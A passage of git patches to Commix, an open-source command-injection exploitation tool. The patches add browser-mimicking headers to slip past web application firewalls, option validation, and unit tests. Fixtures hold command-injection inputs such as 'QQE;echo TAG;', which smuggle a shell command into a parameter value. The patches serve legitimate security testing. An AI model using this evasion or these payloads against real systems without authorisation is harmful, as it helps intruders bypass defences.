self.assertEqual(sent[len(checks.perform_payload_modification("QQE")):], written[len("127.0.0.1"):]) + + def test_nothing_is_rewritten_where_no_script_is_applied(self): + settings.MULTI_ENCODED_PAYLOAD = [] + self.assertEqual("${AB}Q;echo TAG;", checks.payload_with_own_value("${AB}Q;echo TAG;")) + class ABooleanAnswerIsReadAgainstTheSameRequest(unittest.TestCase): """ What a boolean answer is compared with has to be what the same request returns with no payload. diff --git a/tests/test_controller.py b/tests/test_controller.py index 9e738b19f2..6f822f00d1 100644 --- a/tests/test_controller.py +++ b/tests/test_controller.py @@ -173,3 +173,24 @@ def test_a_target_already_read_the_plain_way_asks_once(self): settings.RESULTS_BASED_EXACT_OUTPUT = False self.assertEqual("", self.fire([""])) self.assertEqual([False], self.sent) + +class WhatStoodInForOneParametersValueIsNotCarriedToTheNext(unittest.TestCase): + """ + A parameter the sink did not need the value of leaves that value on record. The next parameter is + tested with its own value from the first request, so a finding of its own written out with the + last one's value in front of it names a request that was never sent. + """ + def setUp(self): + self._state = (settings.TESTABLE_VALUE_OPTIMIZED, settings.TESTABLE_VALUE_STOOD_IN_FOR, + settings.TECHNIQUES_BEFORE_NARROWING, menu.options.tech) + + def tearDown(self): + (settings.TESTABLE_VALUE_OPTIMIZED, settings.TESTABLE_VALUE_STOOD_IN_FOR, + settings.TECHNIQUES_BEFORE_NARROWING, menu.options.tech) = self._state + + def test_the_value_that_was_stood_in_for_is_put_down_with_the_parameter(self): + settings.TESTABLE_VALUE_OPTIMIZED = True + settings.TESTABLE_VALUE_STOOD_IN_FOR = "127.0.0.1" + controller.reset_parameter_state() + self.assertFalse(settings.TESTABLE_VALUE_OPTIMIZED) + self.assertEqual("", settings.TESTABLE_VALUE_STOOD_IN_FOR) diff --git a/tests/test_logs.py b/tests/test_logs.py new file mode 100644 index 0000000000..d516314191 --- /dev/null +++ b/tests/test_logs.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import json +import shutil +import tempfile +import unittest + +from src.utils import logs +from src.utils import settings +from src.core.parse import cmdline as menu + +class AFindingReadsTheSameWhereverItIsRead(unittest.TestCase): + """ + The line a finding is written out as is one line, whether it is read off the screen, out of the + log file or out of the report. The command beside it is the exception, and says why: it carries + the request as it went out, because that is what brings the finding back. + """ + PAYLOAD = "QQE;echo TAG;" + + def setUp(self): + self.directory = tempfile.mkdtemp() + self._state = (menu.options.no_logging, menu.options.results_file, menu.options.report_json, + menu.options.url, menu.options.data, settings.REPORT_JSON, + settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR, + settings.LOGGED_FINDINGS_HEADER, settings.LAST_LOGGED_PARAMETER) + menu.options.no_logging = True + menu.options.results_file = None + menu.options.data = None + menu.options.url = "http://t/a.php?addr=QQE" + menu.options.report_json = os.path.join(self.directory, "report.json") + settings.REPORT_JSON = {} + settings.LOGGED_FINDINGS_HEADER = False + settings.LAST_LOGGED_PARAMETER = None + settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR = "QQE", "127.0.0.1" + logs.add_finding(os.path.join(self.directory, "logs.txt"), settings.INJECTION_TYPE.RESULTS_BASED_CI, + settings.INJECTION_TECHNIQUE.RESULTS_BASED, "GET", "addr", self.PAYLOAD) + self.finding = settings.REPORT_JSON["findings"][0] + + def tearDown(self): + (menu.options.no_logging, menu.options.results_file, menu.options.report_json, + menu.options.url, menu.options.data, settings.REPORT_JSON, + settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR, + settings.LOGGED_FINDINGS_HEADER, settings.LAST_LOGGED_PARAMETER) = self._state + shutil.rmtree(self.directory, ignore_errors=True) + + def test_the_reported_payload_carries_the_parameters_own_value(self): + self.assertEqual("127.0.0.1;echo TAG;", self.finding["payload"]) + + def test_the_command_carries_what_was_sent_instead(self): + # It is run as it stands, so the stand-in the sink ignores has to stay in it. + self.assertIn(self.PAYLOAD, self.finding["reproduce"]) + + def test_the_difference_between_the_two_is_said_rather_than_left_there(self): + self.assertTrue(any("QQE" in caveat for caveat in self.finding["reproduce_caveats"])) + + def test_the_report_on_disk_says_the_same(self): + with open(menu.options.report_json, encoding=settings.DEFAULT_CODEC) as handle: + self.assertEqual("127.0.0.1;echo TAG;", json.load(handle)["findings"][0]["payload"]) + +class AFindingFoundWithTheValueIsWrittenOutAsItWas(unittest.TestCase): + """ + Nothing stood in for the value, so there is nothing to put back - and a value carried over from a + parameter tested earlier is not this parameter's to write in. + """ + def setUp(self): + self._state = (menu.options.no_logging, menu.options.results_file, menu.options.report_json, + menu.options.url, menu.options.data, settings.REPORT_JSON, + settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR, + settings.LOGGED_FINDINGS_HEADER, settings.LAST_LOGGED_PARAMETER) + self.directory = tempfile.mkdtemp() + menu.options.no_logging = True + menu.options.results_file = None + menu.options.data = None + menu.options.url = "http://t/a.php?addr=1" + menu.options.report_json = os.path.join(self.directory, "report.json") + settings.REPORT_JSON = {} + settings.LOGGED_FINDINGS_HEADER = False + settings.LAST_LOGGED_PARAMETER = None + settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR = "1", "" + logs.add_finding(os.path.join(self.directory, "logs.txt"), settings.INJECTION_TYPE.RESULTS_BASED_CI, + settings.INJECTION_TECHNIQUE.RESULTS_BASED, "GET", "addr", "1;echo TAG;") + self.finding = settings.REPORT_JSON["findings"][0] + + def tearDown(self): + (menu.options.no_logging, menu.options.results_file, menu.options.report_json, + menu.options.url, menu.options.data, settings.REPORT_JSON, + settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR, + settings.LOGGED_FINDINGS_HEADER, settings.LAST_LOGGED_PARAMETER) = self._state + shutil.rmtree(self.directory, ignore_errors=True) + + def test_the_payload_is_the_one_that_was_sent(self): + self.assertEqual("1;echo TAG;", self.finding["payload"]) + + def test_nothing_is_said_about_a_stand_in(self): + self.assertNotIn("reproduce_caveats", self.finding) + +if __name__ == '__main__': + unittest.main() + +# eof diff --git a/tests/test_session.py b/tests/test_session.py index 02eb3c23e7..200a91e041 100644 --- a/tests/test_session.py +++ b/tests/test_session.py @@ -23,6 +23,7 @@ from src.core.parse import cmdline as menu from src.utils import settings from src.utils import session_handler +from src.core.controller import checks class SessionFixture(unittest.TestCase): """ @@ -123,6 +124,32 @@ def test_nothing_is_done_where_no_stand_in_was_recorded(self): self.assertEqual(self.tagged("127.0.0.1"), url) self.assertEqual("ZZZ", prefix) +class AReplayedFindingIsWrittenOutWithTheValueTheRunWasGiven(SessionFixture): + """ + The address a replay carries is the stored finding's own, holding the stand-in rather than the + value - so what this run was given is kept as the stand-in takes its place. Without it a resumed + finding goes out carrying three letters where the run that first found it wrote the value. + """ + def setUp(self): + SessionFixture.setUp(self) + self._stood_in_for = settings.TESTABLE_VALUE_STOOD_IN_FOR + settings.TESTABLE_VALUE_STOOD_IN_FOR = "" + + def tearDown(self): + settings.TESTABLE_VALUE_STOOD_IN_FOR = self._stood_in_for + SessionFixture.tearDown(self) + + def test_the_value_is_kept_as_the_stand_in_takes_its_place(self): + session_handler.import_testable_value_status(self.URL, "addr", "GET", "ABC") + session_handler.reapply_testable_value("http://t/a.php?addr=ABC" + settings.INJECT_TAG, "addr", "GET") + self.assertEqual("127.0.0.1", settings.TESTABLE_VALUE_STOOD_IN_FOR) + self.assertEqual("127.0.0.1;echo TAG;", checks.payload_with_own_value("ABC;echo TAG;")) + + def test_nothing_is_kept_where_the_finding_was_made_with_the_value(self): + session_handler.import_testable_value_status(self.URL, "addr", "GET", "ABC") + session_handler.reapply_testable_value("http://t/a.php?addr=127.0.0.1" + settings.INJECT_TAG, "addr", "GET", "127.0.0.1") + self.assertEqual("", settings.TESTABLE_VALUE_STOOD_IN_FOR) + class APrefixOfTheUsersOwnOutranksTheStandIn(SessionFixture): """ '--prefix' names what goes in front of the payload. A stand-in for the parameter's value is not From 8a93af8c458bb341de8c5eace9b73d571607cbe2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 12 Nov 2026 08:16:23 +0200 Subject: [PATCH 1000/1023] Fixed several issues regarding the request's own HTTP headers and the validation of user-supplied values, affecting the WAF/IPS evasion, the `--random-agent` and `--mobile` switches, chunked transfer-encoding and the `--cookie-del` and `--tor-port` options --- src/core/controller/checks.py | 34 +++++++ src/core/controller/controller.py | 4 +- src/core/main.py | 41 ++++---- src/core/options.py | 24 +++++ src/core/requests/headers.py | 6 +- src/core/requests/requests.py | 2 +- src/utils/settings.py | 20 +++- tests/test_options.py | 110 ++++++++++++++++++++++ tests/test_waf_evasion.py | 150 ++++++++++++++++++++++++++++++ 9 files changed, 371 insertions(+), 20 deletions(-) create mode 100644 tests/test_options.py create mode 100644 tests/test_waf_evasion.py diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 65ec31cf96..7a74ebdd0c 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -4229,8 +4229,42 @@ def waf_evasion_consent(): return False message = "Do you want " + settings.APPLICATION + " to try bypassing it? [Y/n] " settings.WAF_EVASION_CONSENT = common.read_input(message, default="Y", check_batch=True).lower() != "n" + # Answered here or in the run this one was resumed from - either way, what the request says about + # itself is the first thing to answer, and is answered once. + if settings.WAF_EVASION_CONSENT: + neutralize_request_fingerprint() return settings.WAF_EVASION_CONSENT +""" +A browser's User-Agent, drawn from the list switch '--random-agent' reads. +""" +def random_user_agent(): + return random.choice(common.load_list_from_file(settings.USER_AGENT_LIST, "user-agent list")) + +""" +Take this tool's name off the request itself, once the protection in front of the target is being +answered. A filter reading the "User-Agent" has already settled what to do with the request before +anything it carries is looked at, so no amount of rewriting the payload is an answer to one. + +What the user settled themselves is left alone, and so is a header the parameter is being injected +through: the rest of the fingerprint is then left to match whatever that says. +""" +def neutralize_request_fingerprint(): + if settings.WAF_EVASION_FINGERPRINT_APPLIED: + return False + if settings.USER_AGENT_INJECTION or menu.options.requestfile or menu.options.logfile or \ + menu.options.agent != settings.DEFAULT_USER_AGENT: + return False + settings.WAF_EVASION_FINGERPRINT_APPLIED = True + settings.BROWSER_LIKE_HEADERS = True + menu.options.agent = random_user_agent() + info_msg = "Making the request read as a browser's, so it does not name " + settings.APPLICATION + " itself." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "The HTTP " + settings.USER_AGENT + " header value is '" + menu.options.agent + "'." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + return True + """ Frame the payload as chunks, which hides it from a filter without changing what the target receives. This says nothing about the target's operating system, so it can be used right away. diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index cde5f8ad81..9de0284315 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -1943,7 +1943,9 @@ def do_check(url, http_request_method, filename): err_msg += " If you suspect that there is some kind of protection mechanism involved, maybe you could try to" if not menu.options.tamper: err_msg += " use option '--tamper'" - if not menu.options.random_agent: + # Only worth raising while the request still names this tool: a run that already carries a + # browser's own header - asked for, or settled by the evasion - has nothing to gain by it. + if not menu.options.random_agent and not settings.BROWSER_LIKE_HEADERS: if not menu.options.tamper: err_msg += " and/or" err_msg += " switch '--random-agent'" diff --git a/src/core/main.py b/src/core/main.py index bb2c2ee2eb..33c003c5c8 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -17,7 +17,6 @@ import os import sys import time -import random from src.thirdparty.six.moves import http_client as _http_client # accept overly long result lines _http_client._MAXLINE = 1 * 1024 * 1024 @@ -116,14 +115,17 @@ def user_agent(): raise SystemExit(settings.EXIT_FAILURE) # Set the User-Agent + # Either switch puts a browser's own value in the header, so the headers that go with it are + # sent as that browser would send them - the point of both is to stop reading as a scanner. if mobile_agent: menu.options.agent = checks.mobile_user_agents() + settings.BROWSER_LIKE_HEADERS = True elif random_agent: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Fetching random HTTP User-Agent header. " settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - user_agents = common.load_list_from_file(settings.USER_AGENT_LIST, "user-agent list") - menu.options.agent = random.choice(user_agents) + menu.options.agent = checks.random_user_agent() + settings.BROWSER_LIKE_HEADERS = True info_msg = "The fetched random HTTP User-Agent header value is '" + menu.options.agent + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) @@ -194,24 +196,24 @@ def check_internet(url): # set, the target's init test reads as the probe's and is never marked as having run. settings.CHECK_INTERNET = False +""" +A request built the way the run's own requests are, body and all - used for the first one to the +target, for the redirect probe, where a request carrying nothing is not evidence of where the +target sends the one that will be tested, and for the one the evasion is answered with. +""" +def build_request(url, http_request_method): + if settings.USER_DEFINED_POST_DATA: + request = _urllib.request.Request(url, settings.USER_DEFINED_POST_DATA.encode(), method=http_request_method) + else: + request = _urllib.request.Request(url, method=http_request_method) + headers.do_check(request) + return request + """ The init (URL) request. """ def init_request(url, http_request_method): - """ - A request built the way the run's own requests are, body and all - used both for the first one to - the target and for the redirect probe, where a request carrying nothing is not evidence of where - the target sends the one that will be tested. - """ - def build_request(url, http_request_method): - if settings.USER_DEFINED_POST_DATA: - request = _urllib.request.Request(url, settings.USER_DEFINED_POST_DATA.encode(), method=http_request_method) - else: - request = _urllib.request.Request(url, method=http_request_method) - headers.do_check(request) - return request - if settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP timeout." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) @@ -331,7 +333,14 @@ def url_response(url, http_request_method): # The probe being blocked is the detection doing its job, not the target being unreachable: # answer the protection and reconnect with the request that was asked for. if response is False and settings.WAF_ENABLED: + # Asked before the request is sent again, and whether or not there is a body to frame as + # chunks: what the request says about itself is read before anything it carries is. + checks.waf_evasion_consent() checks.apply_waf_transport_evasion() + # Built again rather than sent again: what the evasion settles - the headers the request + # names itself with, and whether its body goes as chunks - is put on a request as it is + # built, and this one was built before any of it was known. + request = build_request(url, http_request_method) _conn_start = time.time() response = examine_request(request, url) # Found unusable rather than merely unanswered, so the phases behind this are not spent on it. diff --git a/src/core/options.py b/src/core/options.py index 3f978996d2..f599777220 100644 --- a/src/core/options.py +++ b/src/core/options.py @@ -224,6 +224,21 @@ def validate(): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit(settings.EXIT_FAILURE) + if menu.options.tor_port and not menu.options.tor: + err_msg = "The option '--tor-port' requires the switch '--tor'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # A port is a number within a range, and the probe below is handed it as one - so a value that + # is not a number reaches it as an error of a kind it does not answer for, and one outside the + # range reaches it as a Tor that is not listening, which is not what is wrong with it. + if menu.options.tor_port: + if not str(menu.options.tor_port).isdigit() or int(menu.options.tor_port) > 65535: + err_msg = "The option '--tor-port' takes a port number, between 0 and 65535." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + menu.options.tor_port = int(menu.options.tor_port) + # Check if defined Tor (--tor option). if menu.options.tor: tor.set_proxy_settings() @@ -308,6 +323,15 @@ def validate(): if menu.options.pdel: menu.options.pdel = checks.decode_string_escape(menu.options.pdel) + # The same escape, and a character rather than a string: a longer one splits the cookie where + # nothing asked it to, leaving every parameter behind the first one reported as absent. + if menu.options.cdel: + menu.options.cdel = checks.decode_string_escape(menu.options.cdel) + if len(menu.options.cdel) != 1: + err_msg = "The option '--cookie-del' takes a single character (e.g. ';')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + # Check if defined "--ignore-code" option. if menu.options.ignore_code: wildcard = menu.options.ignore_code.strip() == settings.IGNORE_CODE_WILDCARD diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index a4f474ec75..487eb53d18 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -713,9 +713,13 @@ def do_check(request): if menu.options.host and not settings.HOST_INJECTION: request.add_header(settings.HOST, checks.remove_tags(menu.options.host)) + # Sent as a set rather than one at a time: a browser's "User-Agent" over a "*/*" only a scanner + # sends, with no "Accept-Language" behind it, is a scanner to anything reading the three together. if not checks.get_header(request.headers, settings.ACCEPT): - request.add_header(settings.ACCEPT, settings.ACCEPT_VALUE) + request.add_header(settings.ACCEPT, settings.HTTP_ACCEPT_BROWSER_VALUE if settings.BROWSER_LIKE_HEADERS else settings.ACCEPT_VALUE) + if settings.BROWSER_LIKE_HEADERS and not checks.get_header(request.headers, settings.ACCEPT_LANGUAGE): + request.add_header(settings.ACCEPT_LANGUAGE, settings.HTTP_ACCEPT_LANGUAGE_BROWSER_VALUE) # One the target's own request carries is applied further below, and an unredirected default would override it. supplied_headers = str(menu.options.headers or "") + str(menu.options.header or "") + str(settings.RAW_HTTP_HEADERS or "") diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index bf695b9108..8882f4a2c3 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -714,7 +714,7 @@ def request_failed(err_msg): else: error_msg = "The provided target URL does not seem reachable. " items = [] - if not menu.options.random_agent: + if not menu.options.random_agent and not settings.BROWSER_LIKE_HEADERS: items.append("'--random-agent' switch") if not any((menu.options.proxy, menu.options.ignore_proxy, menu.options.tor)): items.append("proxy switches ('--proxy', '--ignore-proxy'...).") diff --git a/src/utils/settings.py b/src/utils/settings.py index 8a348d8b1a..70a52a6724 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "326" +REVISION = "327" # How long an install may go without being updated before the run says so at the end. Read off the # files on disk rather than asked of anyone, so a run that never reaches the network still knows. @@ -2132,6 +2132,17 @@ class PRIORITY(object): WAF_ESCALATION_THRESHOLD = 1 # Set when the evasion was just stepped up, so the technique that was blocked is tried again. WAF_EVASION_ESCALATED = False +# Whether the evasion has already taken this tool's name off the request itself. +WAF_EVASION_FINGERPRINT_APPLIED = False +""" +Whether the request is meant to read as a browser's rather than as this tool's: set by switch +'--random-agent', by switch '--mobile', and by the evasion once a WAF/IPS is being answered. + +A browser's "User-Agent" over a "*/*" nothing but a scanner sends, and with no "Accept-Language" +at all, is still a scanner to anything weighing the headers as a set - so the headers that go with +the one being replaced follow the same switch. +""" +BROWSER_LIKE_HEADERS = False # Scripts that rewrite the user's command in place, in the order their rewrites are applied. The # paths go first, so that what the name-splitting script is handed is a name and not a glob; the @@ -2852,6 +2863,7 @@ class END_LINE: USER_AGENT = "User-Agent" REFERER = "Referer" ACCEPT = "Accept" +ACCEPT_LANGUAGE = "Accept-Language" ACCEPT_ENCODING = "Accept-Encoding" AUTHORIZATION = "Authorization" CONTENT_LENGTH = "Content-Length" @@ -2869,6 +2881,12 @@ class END_LINE: X_POWERED_BY = "X-Powered-By" # HTTP Headers values ACCEPT_VALUE = "*/*" +""" +What a browser asks for, sent in place of the catch-all above once the request is meant to read as +one. Kept to what every browser sends, so what the target is asked for does not change with it. +""" +HTTP_ACCEPT_BROWSER_VALUE = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" +HTTP_ACCEPT_LANGUAGE_BROWSER_VALUE = "en-US,en;q=0.5" # What a body is sent as, unless it is recognised as one of the two below. DEFAULT_HTTP_CONTENT_TYPE_VALUE = "application/x-www-form-urlencoded" HTTP_CONTENT_TYPE_JSON_HEADER_VALUE = "application/json" diff --git a/tests/test_options.py b/tests/test_options.py new file mode 100644 index 0000000000..8381a1a932 --- /dev/null +++ b/tests/test_options.py @@ -0,0 +1,110 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import sys +import unittest + +from src.utils import settings +from src.core import options +from src.core.requests import tor +from src.core.parse import cmdline as menu + +OPTIONS_STATE = ("url", "cdel", "pdel", "tor", "tor_port", "tor_type", "proxy", "ignore_proxy", + "check_tor") + +class _AValidatedRun(unittest.TestCase): + """ + What the options say, read the way a run reads them before a target is contacted - with the Tor + lookup stood down, since a test that reaches for a local service is a broken test. + """ + def setUp(self): + self._options = {name: getattr(menu.options, name, None) for name in OPTIONS_STATE} + self._printed = [] + self._print = settings.print_data_to_stdout + self._tor = (tor.set_proxy_settings, tor.do_check) + # Read back further down for the inject tag, and a bare one is a run with nothing asked of it. + self._argv = list(sys.argv) + sys.argv = ["commix.py", "-u", "http://t/a.php?addr=1"] + settings.print_data_to_stdout = lambda text: self._printed.append(str(text)) + tor.set_proxy_settings = lambda *args, **kwargs: None + tor.do_check = lambda *args, **kwargs: None + menu.options.url = "http://t/a.php?addr=1" + menu.options.cdel = None + menu.options.pdel = None + menu.options.tor = False + menu.options.tor_port = False + menu.options.tor_type = None + menu.options.proxy = None + menu.options.ignore_proxy = False + menu.options.check_tor = False + + def tearDown(self): + settings.print_data_to_stdout = self._print + tor.set_proxy_settings, tor.do_check = self._tor + sys.argv = self._argv + for name, value in self._options.items(): + setattr(menu.options, name, value) + + def refused(self): + self.assertRaises(SystemExit, options.validate) + return "".join(self._printed) + +class ADelimiterIsOneCharacter(_AValidatedRun): + """ + A longer one splits the cookie where nothing asked it to, and every parameter behind the first + one is then reported as absent rather than as split wrong. + """ + def test_a_longer_one_is_refused_by_name(self): + menu.options.cdel = "||" + self.assertIn("'--cookie-del'", self.refused()) + + def test_one_character_is_what_it_asks_for(self): + menu.options.cdel = ";" + options.validate() + self.assertEqual(";", menu.options.cdel) + + def test_an_escape_counts_as_the_character_it_stands_for(self): + # Written as an escape where the shell would otherwise eat the character itself, so what + # arrives is two characters standing for one. + menu.options.cdel = "\\n" + options.validate() + self.assertEqual("\n", menu.options.cdel) + +class APortIsANumberInARange(_AValidatedRun): + """ + The lookup is handed the value as a number, so one that is not a number reaches it as an error + of a kind it does not answer for, and one past the range as a Tor that is not listening. + """ + def test_a_value_that_is_not_a_number_is_refused_by_name(self): + menu.options.tor, menu.options.tor_port = True, "abc" + self.assertIn("'--tor-port'", self.refused()) + + def test_a_value_past_the_range_is_refused_by_name(self): + menu.options.tor, menu.options.tor_port = True, "99999" + self.assertIn("'--tor-port'", self.refused()) + + def test_a_port_is_handed_on_as_a_number(self): + menu.options.tor, menu.options.tor_port = True, "9050" + options.validate() + self.assertEqual(9050, menu.options.tor_port) + + def test_it_is_refused_without_the_switch_that_reads_it(self): + menu.options.tor_port = "9050" + self.assertIn("'--tor-port'", self.refused()) + +if __name__ == '__main__': + unittest.main() + +# eof diff --git a/tests/test_waf_evasion.py b/tests/test_waf_evasion.py new file mode 100644 index 0000000000..e752628840 --- /dev/null +++ b/tests/test_waf_evasion.py @@ -0,0 +1,150 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import unittest + +from src.utils import settings +from src.core.controller import checks +from src.core.requests import headers +from src.core.parse import cmdline as menu +from src.thirdparty.six.moves import urllib as _urllib + +FINGERPRINT_STATE = ("WAF_EVASION_FINGERPRINT_APPLIED", "BROWSER_LIKE_HEADERS", "WAF_ENABLED", + "WAF_EVASION_CONSENT", "USER_APPLIED_TAMPER", "USER_AGENT_INJECTION", + "VERBOSITY_LEVEL") +OPTIONS_STATE = ("agent", "requestfile", "logfile", "skip_waf", "tamper", "data", "cookie", + "live_cookies", "referer", "host", "chunked") + +class _AFreshRun(unittest.TestCase): + """ + What a run holds about the request it names itself with, put back the way it was found. + """ + def setUp(self): + self._settings = {name: getattr(settings, name) for name in FINGERPRINT_STATE} + self._options = {name: getattr(menu.options, name, None) for name in OPTIONS_STATE} + self._printed = [] + self._print = settings.print_data_to_stdout + settings.print_data_to_stdout = lambda text: self._printed.append(str(text)) + settings.WAF_EVASION_FINGERPRINT_APPLIED = False + settings.BROWSER_LIKE_HEADERS = False + settings.USER_AGENT_INJECTION = None + settings.VERBOSITY_LEVEL = 0 + menu.options.agent = settings.DEFAULT_USER_AGENT + menu.options.requestfile = None + menu.options.logfile = None + + def tearDown(self): + settings.print_data_to_stdout = self._print + for name, value in self._settings.items(): + setattr(settings, name, value) + for name, value in self._options.items(): + setattr(menu.options, name, value) + +class TheRequestStopsNamingTheToolOnceTheProtectionIsAnswered(_AFreshRun): + """ + A filter reading the "User-Agent" has settled what to do with the request before anything it + carries is looked at, so the header is answered first and the payload second. + """ + def test_the_default_header_is_replaced_with_a_browsers_own(self): + self.assertTrue(checks.neutralize_request_fingerprint()) + self.assertNotEqual(settings.DEFAULT_USER_AGENT, menu.options.agent) + self.assertIn(menu.options.agent, common_user_agents()) + + def test_the_headers_that_go_with_it_follow(self): + checks.neutralize_request_fingerprint() + self.assertTrue(settings.BROWSER_LIKE_HEADERS) + + def test_it_is_only_done_once(self): + checks.neutralize_request_fingerprint() + chosen = menu.options.agent + self.assertFalse(checks.neutralize_request_fingerprint()) + self.assertEqual(chosen, menu.options.agent) + + def test_a_header_the_user_settled_is_left_as_it_stands(self): + menu.options.agent = "Hello/1.0" + self.assertFalse(checks.neutralize_request_fingerprint()) + self.assertEqual("Hello/1.0", menu.options.agent) + self.assertFalse(settings.BROWSER_LIKE_HEADERS) + + def test_the_header_being_injected_through_is_left_as_it_stands(self): + settings.USER_AGENT_INJECTION = True + self.assertFalse(checks.neutralize_request_fingerprint()) + self.assertEqual(settings.DEFAULT_USER_AGENT, menu.options.agent) + self.assertFalse(settings.BROWSER_LIKE_HEADERS) + +class ConsentCarriedOverFromAnEarlierRunStillAnswersIt(_AFreshRun): + """ + The answer is remembered rather than asked again, so a resumed run would otherwise go on naming + the tool to the very protection it was told to get past. + """ + def setUp(self): + _AFreshRun.setUp(self) + settings.WAF_ENABLED = True + settings.WAF_EVASION_CONSENT = True + settings.USER_APPLIED_TAMPER = "" + menu.options.skip_waf = False + menu.options.tamper = None + + def test_the_stored_yes_is_acted_on_without_asking_again(self): + self.assertTrue(checks.waf_evasion_consent()) + self.assertNotEqual(settings.DEFAULT_USER_AGENT, menu.options.agent) + + def test_a_stored_no_leaves_the_request_as_it_is(self): + settings.WAF_EVASION_CONSENT = False + self.assertFalse(checks.waf_evasion_consent()) + self.assertEqual(settings.DEFAULT_USER_AGENT, menu.options.agent) + self.assertFalse(settings.BROWSER_LIKE_HEADERS) + +class TheHeadersAreSentAsASet(_AFreshRun): + """ + A browser's "User-Agent" over a "*/*" nothing but a scanner sends, and with no "Accept-Language" + behind it, is still a scanner to anything reading the three together. + """ + def setUp(self): + _AFreshRun.setUp(self) + menu.options.data = None + menu.options.cookie = None + menu.options.live_cookies = None + menu.options.referer = None + menu.options.host = None + menu.options.chunked = False + + def _headers_of_a_request(self): + request = _urllib.request.Request("http://t/a.php?addr=1", method="GET") + headers.do_check(request) + return dict((name.lower(), value) for name, value in request.header_items()) + + def test_a_run_that_names_the_tool_asks_the_way_it_always_has(self): + sent = self._headers_of_a_request() + self.assertEqual(settings.ACCEPT_VALUE, sent[settings.ACCEPT.lower()]) + self.assertNotIn(settings.ACCEPT_LANGUAGE.lower(), sent) + + def test_a_run_that_reads_as_a_browser_asks_the_way_one_does(self): + settings.BROWSER_LIKE_HEADERS = True + sent = self._headers_of_a_request() + self.assertEqual(settings.HTTP_ACCEPT_BROWSER_VALUE, sent[settings.ACCEPT.lower()]) + self.assertEqual(settings.HTTP_ACCEPT_LANGUAGE_BROWSER_VALUE, sent[settings.ACCEPT_LANGUAGE.lower()]) + +""" +The browser User-Agent values switch '--random-agent' draws from. +""" +def common_user_agents(): + from src.utils import common + return common.load_list_from_file(settings.USER_AGENT_LIST, "user-agent list") + +if __name__ == '__main__': + unittest.main() + +# eof From 5dbdafc2fff12419b9071e0aa87f63237fcc6481 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 12 Nov 2026 08:17:09 +0200 Subject: [PATCH 1001/1023] Fixed several issues regarding the HTTP headers a request carries and the values the options are given, affecting the WAF/IPS evasion and the handling of several switches and options --- src/core/controller/controller.py | 18 ++++++++++-------- src/utils/settings.py | 2 +- 2 files changed, 11 insertions(+), 9 deletions(-) diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 9de0284315..a0945b9c0d 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -1940,16 +1940,18 @@ def do_check(url, http_request_method, filename): err_msg += "." if not menu.options.eval_sink: err_msg += " Code injection was not tested; the '--eval' option tests for it." - err_msg += " If you suspect that there is some kind of protection mechanism involved, maybe you could try to" + # The header one is only worth raising while the request still names this tool: a run that + # already carries a browser's own - asked for, or settled by the evasion - has nothing to + # gain by it. Said at all only where one of the two is left to suggest, since a run already + # carrying both would otherwise be told to try something and not told what. + suggestions = [] if not menu.options.tamper: - err_msg += " use option '--tamper'" - # Only worth raising while the request still names this tool: a run that already carries a - # browser's own header - asked for, or settled by the evasion - has nothing to gain by it. + 